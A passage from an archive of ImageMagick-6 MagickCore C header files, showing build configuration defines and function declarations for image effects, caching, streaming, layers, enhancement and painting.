MAGICKCORE_SIZEOF_UNSIGNED_LONG_LONG 8 #endif /* The size of 'void *', as computed by sizeof. */ #ifndef MAGICKCORE_SIZEOF_VOID_P #define MAGICKCORE_SIZEOF_VOID_P 8 #endif /* Define to 1 if the 'S_IS*' macros in <sys/stat.h> do not work properly. */ /* #undef STAT_MACROS_BROKEN */ /* Define to 1 if all of the C89 standard headers exist (not just the ones required in a freestanding environment). This macro is provided for backward compatibility; new code need not use it. */ #ifndef MAGICKCORE_STDC_HEADERS #define MAGICKCORE_STDC_HEADERS 1 #endif /* Define to 1 if strerror_r returns char *. */ #ifndef MAGICKCORE_STRERROR_R_CHAR_P #define MAGICKCORE_STRERROR_R_CHAR_P 1 #endif /* Define if you have POSIX threads libraries and header files. */ #ifndef MAGICKCORE_THREAD_SUPPORT #define MAGICKCORE_THREAD_SUPPORT 1 #endif /* Define if you have TIFF library */ #ifndef MAGICKCORE_TIFF_DELEGATE #define MAGICKCORE_TIFF_DELEGATE 1 #endif /* Define to 1 if your <sys/time.h> declares 'struct tm'. */ /* #undef TM_IN_SYS_TIME */ /* Enable extensions on AIX, Interix, z/OS. */ #ifndef _ALL_SOURCE # define _ALL_SOURCE 1 #endif /* Enable general extensions on macOS. */ #ifndef _DARWIN_C_SOURCE /* # undef _DARWIN_C_SOURCE */ #endif /* Enable general extensions on Solaris. */ #ifndef __EXTENSIONS__ # define __EXTENSIONS__ 1 #endif /* Enable GNU extensions on systems that have them. */ #ifndef _GNU_SOURCE # define _GNU_SOURCE 1 #endif /* Enable X/Open compliant socket functions that do not require linking with -lxnet on HP-UX 11.11. */ #ifndef _HPUX_ALT_XOPEN_SOCKET_API /* # undef _HPUX_ALT_XOPEN_SOCKET_API */ #endif /* Identify the host operating system as Minix. This macro does not affect the system headers' behavior. A future release of Autoconf may stop defining this macro. */ #ifndef _MINIX /* # undef _MINIX */ #endif /* Enable general extensions on NetBSD. Enable NetBSD compatibility extensions on Minix. */ #ifndef _NETBSD_SOURCE /* # undef _NETBSD_SOURCE */ #endif /* Enable OpenBSD compatibility extensions on NetBSD. Oddly enough, this does nothing on OpenBSD. */ #ifndef _OPENBSD_SOURCE /* # undef _OPENBSD_SOURCE */ #endif /* Define to 1 if needed for POSIX-compatible behavior. */ #ifndef _POSIX_SOURCE /* # undef _POSIX_SOURCE */ #endif /* Define to 2 if needed for POSIX-compatible behavior. */ #ifndef _POSIX_1_SOURCE /* # undef _POSIX_1_SOURCE */ #endif /* Enable POSIX-compatible threading on Solaris. */ #ifndef _POSIX_PTHREAD_SEMANTICS # define _POSIX_PTHREAD_SEMANTICS 1 #endif /* Enable extensions specified by ISO/IEC TS 18661-5:2014. */ #ifndef __STDC_WANT_IEC_60559_ATTRIBS_EXT__ /* # undef __STDC_WANT_IEC_60559_ATTRIBS_EXT__ */ #endif /* Enable extensions specified by ISO/IEC TS 18661-1:2014. */ #ifndef __STDC_WANT_IEC_60559_BFP_EXT__ /* # undef __STDC_WANT_IEC_60559_BFP_EXT__ */ #endif /* Enable extensions specified by ISO/IEC TS 18661-2:2015. */ #ifndef __STDC_WANT_IEC_60559_DFP_EXT__ /* # undef __STDC_WANT_IEC_60559_DFP_EXT__ */ #endif /* Enable extensions specified by C23 Annex F. */ #ifndef __STDC_WANT_IEC_60559_EXT__ /* # undef __STDC_WANT_IEC_60559_EXT__ */ #endif /* Enable extensions specified by ISO/IEC TS 18661-4:2015. */ #ifndef __STDC_WANT_IEC_60559_FUNCS_EXT__ /* # undef __STDC_WANT_IEC_60559_FUNCS_EXT__ */ #endif /* Enable extensions specified by C23 Annex H and ISO/IEC TS 18661-3:2015. */ #ifndef __STDC_WANT_IEC_60559_TYPES_EXT__ /* # undef __STDC_WANT_IEC_60559_TYPES_EXT__ */ #endif /* Enable extensions specified by ISO/IEC TR 24731-2:2010. */ #ifndef __STDC_WANT_LIB_EXT2__ /* # undef __STDC_WANT_LIB_EXT2__ */ #endif /* Enable extensions specified by ISO/IEC 24747:2009. */ #ifndef __STDC_WANT_MATH_SPEC_FUNCS__ /* # undef __STDC_WANT_MATH_SPEC_FUNCS__ */ #endif /* Enable extensions on HP NonStop. */ #ifndef _TANDEM_SOURCE # define _TANDEM_SOURCE 1 #endif /* Enable X/Open extensions. Define to 500 only if necessary to make mbstate_t available. */ #ifndef _XOPEN_SOURCE /* # undef _XOPEN_SOURCE */ #endif /* Define if you have WEBPMUX library */ #ifndef MAGICKCORE_WEBPMUX_DELEGATE #define MAGICKCORE_WEBPMUX_DELEGATE 1 #endif /* Define if you have WEBP library */ #ifndef MAGICKCORE_WEBP_DELEGATE #define MAGICKCORE_WEBP_DELEGATE 1 #endif /* Define to use the Windows GDI32 library */ /* #undef WINGDI32_DELEGATE */ /* Define if using the dmalloc debugging malloc package */ /* #undef WITH_DMALLOC */ /* Define if you have WMF library */ #ifndef MAGICKCORE_WMF_DELEGATE #define MAGICKCORE_WMF_DELEGATE 1 #endif /* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most significant byte first (like Motorola and SPARC, unlike Intel). */ #if defined AC_APPLE_UNIVERSAL_BUILD # if defined __BIG_ENDIAN__ # define WORDS_BIGENDIAN 1 # endif #else # ifndef WORDS_BIGENDIAN /* # undef WORDS_BIGENDIAN */ # endif #endif /* Location of X11 configure files */ #ifndef MAGICKCORE_X11_CONFIGURE_PATH #define MAGICKCORE_X11_CONFIGURE_PATH "" #endif /* Define if you have X11 library */ #ifndef MAGICKCORE_X11_DELEGATE #define MAGICKCORE_X11_DELEGATE 1 #endif /* Define if you have XML library */ #ifndef MAGICKCORE_XML_DELEGATE #define MAGICKCORE_XML_DELEGATE 1 #endif /* Define to 1 if the X Window System is missing or not being used. */ /* #undef X_DISPLAY_MISSING */ /* Build self-contained, embeddable, zero-configuration ImageMagick */ /* #undef ZERO_CONFIGURATION_SUPPORT */ /* Define if you have ZLIB library */ #ifndef MAGICKCORE_ZLIB_DELEGATE #define MAGICKCORE_ZLIB_DELEGATE 1 #endif /* Define if you have ZSTD library */ #ifndef MAGICKCORE_ZSTD_DELEGATE #define MAGICKCORE_ZSTD_DELEGATE 1 #endif /* Number of bits in a file offset, on hosts where this is settable. */ /* #undef _FILE_OFFSET_BITS */ /* enable run-time bounds-checking */ /* #undef _FORTIFY_SOURCE */ /* Define to 1 if necessary to make fseeko visible. */ /* #undef _LARGEFILE_SOURCE */ /* Define to 1 on platforms where this makes off_t a 64-bit type. */ /* #undef _LARGE_FILES */ /* Number of bits in time_t, on hosts where this is settable. */ /* #undef _TIME_BITS */ /* Define for Solaris 2.5.1 so the uint32_t typedef from <sys/synch.h>, <pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the #define below would cause a syntax error. */ /* #undef _UINT32_T */ /* Define for Solaris 2.5.1 so the uint64_t typedef from <sys/synch.h>, <pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the #define below would cause a syntax error. */ /* #undef _UINT64_T */ /* Define for Solaris 2.5.1 so the uint8_t typedef from <sys/synch.h>, <pthread.h>, or <semaphore.h> is not used. If the typedef were allowed, the #define below would cause a syntax error. */ /* #undef _UINT8_T */ /* Define to 1 if type 'char' is unsigned and your compiler does not predefine this macro. */ #ifndef __CHAR_UNSIGNED__ /* # undef __CHAR_UNSIGNED__ */ #endif /* Define to 1 on platforms where this makes time_t a 64-bit type. */ /* #undef __MINGW_USE_VC2005_COMPAT */ /* Define to appropriate substitute if compiler does not have __func__ */ /* #undef __func__ */ /* Define to empty if 'const' does not conform to ANSI C. */ /* #undef const */ /* Define as 'int' if <sys/types.h> doesn't define. */ /* #undef gid_t */ /* Define to '__inline__' or '__inline' if that's what the C compiler calls it, or to nothing if 'inline' is not supported under any name. */ #ifndef __cplusplus /* #undef inline */ #endif /* Define to the type of a signed integer type of width exactly 16 bits if such a type exists and the standard includes do not define it. */ /* #undef int16_t */ /* Define to the type of a signed integer type of width exactly 32 bits if such a type exists and the standard includes do not define it. */ /* #undef int32_t */ /* Define to the type of a signed integer type of width exactly 64 bits if such a type exists and the standard includes do not define it. */ /* #undef int64_t */ /* Define to the type of a signed integer type of width exactly 8 bits if such a type exists and the standard includes do not define it. */ /* #undef int8_t */ /* Define to the widest signed integer type if <stdint.h> and <inttypes.h> do not define. */ /* #undef intmax_t */ /* Define to the type of a signed integer type wide enough to hold a pointer, if such a type exists, and if the system does not define it. */ /* #undef intptr_t */ /* Define to a type if <wchar.h> does not define. */ /* #undef mbstate_t */ /* Define to 'int' if <sys/types.h> does not define. */ /* #undef mode_t */ /* Define to 'long int' if <sys/types.h> does not define. */ /* #undef off_t */ /* Define as a signed integer type capable of holding a process identifier. */ /* #undef pid_t */ /* Define to the equivalent of the C99 'restrict' keyword, or to nothing if this is not supported. Do not define if restrict is supported only directly. */ #ifndef _magickcore_restrict #define _magickcore_restrict __restrict #endif /* Work around a bug in older versions of Sun C++, which did not #define __restrict__ or support _Restrict or __restrict__ even though the corresponding Sun C compiler ended up with "#define restrict _Restrict" or "#define restrict __restrict__" in the previous line. This workaround can be removed once we assume Oracle Developer Studio 12.5 (2016) or later. */ #if defined __SUNPRO_CC && !defined __RESTRICT && !defined __restrict__ # define _Restrict # define __restrict__ #endif /* Define as 'unsigned int' if <stddef.h> doesn't define. */ /* #undef size_t */ /* Define as 'int' if <sys/types.h> doesn't define. */ /* #undef ssize_t */ /* Define as 'int' if <sys/types.h> doesn't define. */ /* #undef uid_t */ /* Define to the type of an unsigned integer type of width exactly 16 bits if such a type exists and the standard includes do not define it. */ /* #undef uint16_t */ /* Define to the type of an unsigned integer type of width exactly 32 bits if such a type exists and the standard includes do not define it. */ /* #undef uint32_t */ /* Define to the type of an unsigned integer type of width exactly 64 bits if such a type exists and the standard includes do not define it. */ /* #undef uint64_t */ /* Define to the type of an unsigned integer type of width exactly 8 bits if such a type exists and the standard includes do not define it. */ /* #undef uint8_t */ /* Define to the widest unsigned integer type if <stdint.h> and <inttypes.h> do not define. */ /* #undef uintmax_t */ /* Define to the type of an unsigned integer type wide enough to hold a pointer, if such a type exists, and if the system does not define it. */ /* #undef uintptr_t */ /* Define to empty if the keyword 'volatile' does not work. Warning: valid code using 'volatile' can become incorrect without. Disable with care. */ /* #undef volatile */ /* once: _MAGICK_MAGICK_BASECONFIG_H */ #endif ImageMagick-6/magick/segment.h 0000644 00000002116 15246445046 0012125 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image segment methods. */ #ifndef MAGICKCORE_SEGMENT_H #define MAGICKCORE_SEGMENT_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport MagickBooleanType GetImageDynamicThreshold(const Image *,const double,const double, MagickPixelPacket *,ExceptionInfo *), SegmentImage(Image *,const ColorspaceType,const MagickBooleanType, const double,const double); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/effect.h 0000644 00000010251 15246445046 0011716 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image effects methods. */ #ifndef MAGICKCORE_EFFECT_H #define MAGICKCORE_EFFECT_H #include "magick/morphology.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedPreview, RotatePreview, ShearPreview, RollPreview, HuePreview, SaturationPreview, BrightnessPreview, GammaPreview, SpiffPreview, DullPreview, GrayscalePreview, QuantizePreview, DespecklePreview, ReduceNoisePreview, AddNoisePreview, SharpenPreview, BlurPreview, ThresholdPreview, EdgeDetectPreview, SpreadPreview, SolarizePreview, ShadePreview, RaisePreview, SegmentPreview, SwirlPreview, ImplodePreview, WavePreview, OilPaintPreview, CharcoalDrawingPreview, JPEGPreview } PreviewType; extern MagickExport Image *AdaptiveBlurImage(const Image *,const double,const double,ExceptionInfo *), *AdaptiveBlurImageChannel(const Image *,const ChannelType,const double, const double,ExceptionInfo *), *AdaptiveSharpenImage(const Image *,const double,const double, ExceptionInfo *), *AdaptiveSharpenImageChannel(const Image *,const ChannelType,const double, const double,ExceptionInfo *), *BlurImage(const Image *,const double,const double,ExceptionInfo *), *BlurImageChannel(const Image *,const ChannelType,const double,const double, ExceptionInfo *), *ConvolveImage(const Image *,const size_t,const double *,ExceptionInfo *), *ConvolveImageChannel(const Image *,const ChannelType,const size_t, const double *,ExceptionInfo *), *DespeckleImage(const Image *,ExceptionInfo *), *EdgeImage(const Image *,const double,ExceptionInfo *), *EmbossImage(const Image *,const double,const double,ExceptionInfo *), *FilterImage(const Image *,const KernelInfo *,ExceptionInfo *), *FilterImageChannel(const Image *,const ChannelType,const KernelInfo *, ExceptionInfo *), *GaussianBlurImage(const Image *,const double,const double,ExceptionInfo *), *GaussianBlurImageChannel(const Image *,const ChannelType,const double, const double,ExceptionInfo *), *KuwaharaImage(const Image *,const double,const double,ExceptionInfo *), *KuwaharaImageChannel(const Image *,const ChannelType,const double, const double,ExceptionInfo *), *LocalContrastImage(const Image *,const double,const double,ExceptionInfo *), *MotionBlurImage(const Image *,const double,const double,const double, ExceptionInfo *), *MotionBlurImageChannel(const Image *,const ChannelType,const double, const double,const double,ExceptionInfo *), *PreviewImage(const Image *,const PreviewType,ExceptionInfo *), *RotationalBlurImage(const Image *,const double,ExceptionInfo *), *RotationalBlurImageChannel(const Image *,const ChannelType,const double, ExceptionInfo *), *SelectiveBlurImage(const Image *,const double,const double,const double, ExceptionInfo *), *SelectiveBlurImageChannel(const Image *,const ChannelType,const double, const double,const double,ExceptionInfo *), *ShadeImage(const Image *,const MagickBooleanType,const double,const double, ExceptionInfo *), *SharpenImage(const Image *,const double,const double,ExceptionInfo *), *SharpenImageChannel(const Image *,const ChannelType,const double, const double,ExceptionInfo *), *SpreadImage(const Image *,const double,ExceptionInfo *), *UnsharpMaskImage(const Image *,const double,const double,const double, const double,ExceptionInfo *), *UnsharpMaskImageChannel(const Image *,const ChannelType,const double, const double,const double,const double,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/magick-config.h 0000644 00000000303 15246445046 0013155 0 ustar 00 #include <bits/wordsize.h> #if __WORDSIZE == 32 # include "magick-config-32.h" #elif __WORDSIZE == 64 # include "magick-config-64.h" #else # error "unexpected value for __WORDSIZE macro" #endif ImageMagick-6/magick/cache.h 0000644 00000005505 15246445046 0011533 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore cache methods. */ #ifndef MAGICKCORE_CACHE_H #define MAGICKCORE_CACHE_H #include "magick/blob.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedCache, MemoryCache, MapCache, DiskCache, PingCache, DistributedCache } CacheType; extern MagickExport CacheType GetImagePixelCacheType(const Image *); extern MagickExport const char *GetPixelCacheFilename(const Image *); extern MagickExport const IndexPacket *GetVirtualIndexQueue(const Image *); extern MagickExport const PixelPacket *GetVirtualPixels(const Image *,const ssize_t,const ssize_t,const size_t, const size_t,ExceptionInfo *), *GetVirtualPixelQueue(const Image *); extern MagickExport const void *AcquirePixelCachePixels(const Image *,MagickSizeType *,ExceptionInfo *); extern MagickExport IndexPacket *GetAuthenticIndexQueue(const Image *); extern MagickExport MagickBooleanType CacheComponentGenesis(void), GetOneVirtualMagickPixel(const Image *,const ssize_t,const ssize_t, MagickPixelPacket *,ExceptionInfo *), GetOneVirtualPixel(const Image *,const ssize_t,const ssize_t,PixelPacket *, ExceptionInfo *), GetOneVirtualMethodPixel(const Image *,const VirtualPixelMethod,const ssize_t, const ssize_t,PixelPacket *,ExceptionInfo *), GetOneAuthenticPixel(Image *,const ssize_t,const ssize_t,PixelPacket *, ExceptionInfo *), PersistPixelCache(Image *,const char *,const MagickBooleanType, MagickOffsetType *,ExceptionInfo *), SyncAuthenticPixels(Image *,ExceptionInfo *); extern MagickExport MagickSizeType GetImageExtent(const Image *); extern MagickExport PixelPacket *GetAuthenticPixels(Image *,const ssize_t,const ssize_t,const size_t, const size_t,ExceptionInfo *), *GetAuthenticPixelQueue(const Image *), *QueueAuthenticPixels(Image *,const ssize_t,const ssize_t,const size_t, const size_t,ExceptionInfo *); extern MagickExport VirtualPixelMethod GetPixelCacheVirtualMethod(const Image *), SetPixelCacheVirtualMethod(const Image *,const VirtualPixelMethod); extern MagickExport void CacheComponentTerminus(void), *GetPixelCachePixels(Image *,MagickSizeType *,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/stream.h 0000644 00000002130 15246445046 0011752 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image stream methods. */ #ifndef MAGICKCORE_STREAM_H #define MAGICKCORE_STREAM_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef size_t (*StreamHandler)(const Image *,const void *,const size_t); extern MagickExport Image *ReadStream(const ImageInfo *,StreamHandler,ExceptionInfo *); extern MagickExport MagickBooleanType WriteStream(const ImageInfo *,Image *,StreamHandler); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/identify.h 0000644 00000001666 15246445046 0012307 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image identify method. */ #ifndef MAGICKCORE_IDENTIFY_H #define MAGICKCORE_IDENTIFY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport MagickBooleanType IdentifyImage(Image *,FILE *,const MagickBooleanType); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/magick-baseconfig.h 0000644 00000000313 15246445046 0014011 0 ustar 00 #include <bits/wordsize.h> #if __WORDSIZE == 32 # include "magick-baseconfig-32.h" #elif __WORDSIZE == 64 # include "magick-baseconfig-64.h" #else # error "unexpected value for __WORDSIZE macro" #endif ImageMagick-6/magick/magick.h 0000644 00000007304 15246445046 0011722 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore magick methods. */ #ifndef MAGICKCORE_MAGICK_H #define MAGICKCORE_MAGICK_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #include <stdarg.h> #include "magick/semaphore.h" #if defined(__cplusplus) || defined(c_plusplus) # define magick_module _module /* reserved word in C++(20) */ #else # define magick_module module #endif typedef enum { UndefinedFormatType, ImplicitFormatType, ExplicitFormatType } MagickFormatType; typedef enum { NoThreadSupport = 0x0000, DecoderThreadSupport = 0x0001, EncoderThreadSupport = 0x0002 } MagickThreadSupport; typedef Image *DecodeImageHandler(const ImageInfo *,ExceptionInfo *); typedef MagickBooleanType EncodeImageHandler(const ImageInfo *,Image *); typedef MagickBooleanType IsImageFormatHandler(const unsigned char *,const size_t); typedef struct _MagickInfo { char *name, *description, *version, *note, *magick_module; ImageInfo *image_info; DecodeImageHandler *decoder; EncodeImageHandler *encoder; IsImageFormatHandler *magick; void *client_data; MagickBooleanType adjoin, raw, endian_support, blob_support, seekable_stream; MagickFormatType format_type; MagickStatusType thread_support; MagickBooleanType stealth; struct _MagickInfo *previous, *next; /* deprecated, use GetMagickInfoList() */ size_t signature; char *mime_type; SemaphoreInfo *semaphore; } MagickInfo; extern MagickExport char **GetMagickList(const char *,size_t *,ExceptionInfo *); extern MagickExport const char *GetMagickDescription(const MagickInfo *), *GetMagickMimeType(const MagickInfo *); extern MagickExport DecodeImageHandler *GetImageDecoder(const MagickInfo *) magick_attribute((__pure__)); extern MagickExport EncodeImageHandler *GetImageEncoder(const MagickInfo *) magick_attribute((__pure__)); extern MagickExport int GetMagickPrecision(void), SetMagickPrecision(const int); extern MagickExport MagickBooleanType GetImageMagick(const unsigned char *,const size_t,char *), GetMagickAdjoin(const MagickInfo *) magick_attribute((__pure__)), GetMagickBlobSupport(const MagickInfo *) magick_attribute((__pure__)), GetMagickEndianSupport(const MagickInfo *) magick_attribute((__pure__)), GetMagickRawSupport(const MagickInfo *) magick_attribute((__pure__)), GetMagickSeekableStream(const MagickInfo *) magick_attribute((__pure__)), IsMagickCoreInstantiated(void) magick_attribute((__pure__)), MagickComponentGenesis(void), UnregisterMagickInfo(const char *); extern const MagickExport MagickInfo *GetMagickInfo(const char *,ExceptionInfo *), **GetMagickInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport MagickInfo *RegisterMagickInfo(MagickInfo *), *SetMagickInfo(const char *); extern MagickExport MagickStatusType GetMagickThreadSupport(const MagickInfo *); extern MagickExport void MagickComponentTerminus(void), MagickCoreGenesis(const char *,const MagickBooleanType), MagickCoreTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/layer.h 0000644 00000004035 15246445046 0011601 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image layer methods. */ #ifndef MAGICKCORE_LAYER_H #define MAGICKCORE_LAYER_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UnrecognizedDispose, UndefinedDispose = 0, NoneDispose = 1, BackgroundDispose = 2, PreviousDispose = 3 } DisposeType; typedef enum { UndefinedLayer, CoalesceLayer, CompareAnyLayer, CompareClearLayer, CompareOverlayLayer, DisposeLayer, OptimizeLayer, OptimizeImageLayer, OptimizePlusLayer, OptimizeTransLayer, RemoveDupsLayer, RemoveZeroLayer, CompositeLayer, MergeLayer, FlattenLayer, MosaicLayer, TrimBoundsLayer } ImageLayerMethod; extern MagickExport Image *CoalesceImages(const Image *,ExceptionInfo *), *DisposeImages(const Image *,ExceptionInfo *), *CompareImageLayers(const Image *,const ImageLayerMethod,ExceptionInfo *), *DeconstructImages(const Image *,ExceptionInfo *), *MergeImageLayers(Image *,const ImageLayerMethod,ExceptionInfo *), *OptimizeImageLayers(const Image *,ExceptionInfo *), *OptimizePlusImageLayers(const Image *,ExceptionInfo *); extern MagickExport void CompositeLayers(Image *,const CompositeOperator,Image *,const ssize_t, const ssize_t,ExceptionInfo *), OptimizeImageTransparency(const Image *,ExceptionInfo *), RemoveDuplicateLayers(Image **,ExceptionInfo *), RemoveZeroDelayLayers(Image **,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/monitor.h 0000644 00000003120 15246445046 0012146 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore progress monitor methods. */ #ifndef MAGICKCORE_MONITOR_H #define MAGICKCORE_MONITOR_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef MagickBooleanType (*MagickProgressMonitor)(const char *,const MagickOffsetType, const MagickSizeType,void *); MagickExport MagickBooleanType SetImageProgress(const Image *,const char *,const MagickOffsetType, const MagickSizeType); MagickExport MagickProgressMonitor SetImageProgressMonitor(Image *,const MagickProgressMonitor,void *), SetImageInfoProgressMonitor(ImageInfo *,const MagickProgressMonitor,void *); static inline MagickBooleanType QuantumTick(const MagickOffsetType offset, const MagickSizeType span) { if (span <= 100) return(MagickTrue); if (offset == (MagickOffsetType) (span-1)) return(MagickTrue); if ((offset % (MagickOffsetType) (span/100)) == 0) return(MagickTrue); return(MagickFalse); } #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/enhance.h 0000644 00000005662 15246445046 0012075 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image enhance methods. */ #ifndef MAGICKCORE_ENHANCE_H #define MAGICKCORE_ENHANCE_H #include "magick/pixel.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport MagickBooleanType AutoGammaImage(Image *), AutoGammaImageChannel(Image *,const ChannelType), AutoLevelImage(Image *), AutoLevelImageChannel(Image *,const ChannelType), BrightnessContrastImage(Image *,const double,const double), BrightnessContrastImageChannel(Image *,const ChannelType,const double, const double), ClutImage(Image *,const Image *), ClutImageChannel(Image *,const ChannelType,const Image *), ColorDecisionListImage(Image *,const char *), ContrastImage(Image *,const MagickBooleanType), ContrastStretchImage(Image *,const char *), ContrastStretchImageChannel(Image *,const ChannelType,const double, const double), EqualizeImage(Image *image), EqualizeImageChannel(Image *image,const ChannelType), GammaImage(Image *,const char *), GammaImageChannel(Image *,const ChannelType,const double), GrayscaleImage(Image *,const PixelIntensityMethod), HaldClutImage(Image *,const Image *), HaldClutImageChannel(Image *,const ChannelType,const Image *), LevelImage(Image *,const char *), LevelImageChannel(Image *,const ChannelType,const double,const double, const double), LevelizeImage(Image *,const double,const double,const double), LevelizeImageChannel(Image *,const ChannelType,const double,const double, const double), LevelColorsImage(Image *,const MagickPixelPacket *,const MagickPixelPacket *, const MagickBooleanType), LevelColorsImageChannel(Image *,const ChannelType,const MagickPixelPacket *, const MagickPixelPacket *,const MagickBooleanType), LinearStretchImage(Image *,const double,const double), ModulateImage(Image *,const char *), NegateImage(Image *,const MagickBooleanType), NegateImageChannel(Image *,const ChannelType,const MagickBooleanType), NormalizeImage(Image *), NormalizeImageChannel(Image *,const ChannelType), SigmoidalContrastImage(Image *,const MagickBooleanType,const char *), SigmoidalContrastImageChannel(Image *,const ChannelType, const MagickBooleanType,const double,const double); extern MagickExport Image *EnhanceImage(const Image *,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/paint.h 0000644 00000003355 15246445046 0011604 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image paint methods. */ #ifndef MAGICKCORE_PAINT_H #define MAGICKCORE_PAINT_H #include "magick/color.h" #include "magick/draw.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport Image *OilPaintImage(const Image *,const double,ExceptionInfo *); extern MagickExport MagickBooleanType FloodfillPaintImage(Image *,const ChannelType,const DrawInfo *, const MagickPixelPacket *,const ssize_t,const ssize_t, const MagickBooleanType), GradientImage(Image *,const GradientType,const SpreadMethod, const PixelPacket *,const PixelPacket *), OpaquePaintImage(Image *,const MagickPixelPacket *,const MagickPixelPacket *, const MagickBooleanType), OpaquePaintImageChannel(Image *,const ChannelType,const MagickPixelPacket *, const MagickPixelPacket *,const MagickBooleanType), TransparentPaintImage(Image *,const MagickPixelPacket *, const Quantum,const MagickBooleanType), TransparentPaintImageChroma(Image *,const MagickPixelPacket *, const MagickPixelPacket *,const Quantum,const MagickBooleanType); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/xwindow.h 0000644 00000002130 15246445046 0012156 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" 